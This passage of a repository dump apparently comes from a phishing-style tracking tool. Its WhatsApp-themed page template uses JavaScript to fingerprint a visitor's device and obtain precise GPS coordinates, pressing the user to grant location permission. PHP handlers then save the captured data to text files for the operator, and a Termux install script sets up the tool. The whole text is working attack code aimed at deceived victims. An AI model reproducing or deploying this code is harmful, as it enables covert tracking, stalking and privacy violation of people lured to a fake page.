74 | catch (e) {}
75 | if (gl)
76 | {
77 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
78 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
79 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
80 | }
81 | if (ven == undefined)
82 | {
83 | ven = 'Not Available';
84 | console.log('GPU Vendor not available')
85 | }
86 | if (ren == undefined)
87 | {
88 | ren = 'Not Available';
89 | console.log('GPU Renderer not available')
90 | }
91 | console.log(ven);
92 | console.log(ren);
93 | //
94 | var ht = window.screen.height
95 | var wd = window.screen.width
96 | console.log(window.screen.height)
97 | console.log(window.screen.width)
98 | //os
99 | os = os.substring(0, os.indexOf(')'));
100 | os = os.split(';');
101 | os = os[1];
102 | if (os == undefined)
103 | {
104 | os = 'Not Available';
105 | console.log('OS is not available')
106 | }
107 | os = os.trim();
108 | console.log(os);
109 | //
110 | $.ajax({
111 | type: 'POST',
112 | url: '/php/info.php',
113 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os},
114 | success: function(){console.log('Got Device Information');},
115 | mimeType: 'text'
116 | });
117 | }
118 |
--------------------------------------------------------------------------------
/template/whatsapp/js/location.js:
--------------------------------------------------------------------------------
1 | function locate()
2 | {
3 | if(navigator.geolocation)
4 | {
5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0};
6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn);
7 | }
8 | else
9 | {
10 | alert('Geolocation is not Supported by your Browser...');
11 | }
12 |
13 | function showPosition(position)
14 | {
15 | var lat = position.coords.latitude;
16 | var lon = position.coords.longitude;
17 | var acc = position.coords.accuracy;
18 | var alt = position.coords.altitude;
19 | var dir = position.coords.heading;
20 | var spd = position.coords.speed;
21 |
22 | $.ajax({
23 | type: 'POST',
24 | url: '/php/result.php',
25 | data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd},
26 | success: function(){popup();},
27 | mimeType: 'text'
28 | });
29 | };
30 | }
31 |
32 | function showError(error)
33 | {
34 | switch(error.code)
35 | {
36 | case error.PERMISSION_DENIED:
37 | var denied = 'User denied the request for Geolocation';
38 | alert('Please Refresh This Page and Allow Location Permission...');
39 | break;
40 | case error.POSITION_UNAVAILABLE:
41 | var unavailable = 'Location information is unavailable';
42 | break;
43 | case error.TIMEOUT:
44 | var timeout = 'The request to get user location timed out';
45 | alert('Please Set Your Location Mode on High Accuracy...');
46 | break;
47 | case error.UNKNOWN_ERROR:
48 | var unknown = 'An unknown error occurred';
49 | break;
50 | }
51 |
52 | $.ajax({
53 | type: 'POST',
54 | url: '/php/error.php',
55 | data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown},
56 | success: function(){$('#change').html('Failed');},
57 | mimeType: 'text'
58 | });
59 | }
60 |
--------------------------------------------------------------------------------
/template/whatsapp/php/error.php:
--------------------------------------------------------------------------------
1 |
42 |
--------------------------------------------------------------------------------
/template/whatsapp/php/info.php:
--------------------------------------------------------------------------------
1 | $ptf,
46 | 'browser' => $brw,
47 | 'cores' => $cc,
48 | 'ram' => $ram,
49 | 'vendor' => $ven,
50 | 'render' => $ren,
51 | 'ip' => $ip,
52 | 'ht' => $ht,
53 | 'wd' => $wd,
54 | 'os' => $os);
55 |
56 | $jdata = json_encode($data);
57 |
58 | $f = fopen('info.txt', 'w+');
59 | fwrite($f, $jdata);
60 | fclose($f);
61 | }
62 | ?>
63 |
--------------------------------------------------------------------------------
/template/whatsapp/php/info.txt:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/template/whatsapp/php/result.php:
--------------------------------------------------------------------------------
1 | $lat,
15 | 'lon' => $lon,
16 | 'acc' => $acc,
17 | 'alt' => $alt,
18 | 'dir' => $dir,
19 | 'spd' => $spd);
20 |
21 | $jdata = json_encode($data);
22 |
23 | $f = fopen('result.txt', 'w+');
24 | fwrite($f, $jdata);
25 | fclose($f);
26 | }
27 | ?>
28 |
--------------------------------------------------------------------------------
/template/whatsapp/php/result.txt:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/termux_install.sh:
--------------------------------------------------------------------------------
1 | echo '[!] Updating...'
2 | apt-get update > install.log
3 | echo
4 | echo '[!] Installing Dependencies...'
5 | echo ' Python3'
6 | apt-get -y install python &>> install.log
7 | echo ' PHP'
8 | apt-get -y install php &>> install.log
9 | echo ' ssh'
10 | apt-get -y install openssh &>> install.log
11 | echo ' Requests'
12 | pip3 install requests &>> install.log
13 | echo
14 | echo '[!] Setting Permissions...'
15 | chmod 777 template/nearyou/php/info.txt
16 | chmod 777 template/nearyou/php/result.txt
17 | echo
18 | echo '[!] Installed.'
--------------------------------------------------------------------------------
/version.txt:
--------------------------------------------------------------------------------
1 | 1.3.0
2 |
--------------------------------------------------------------------------------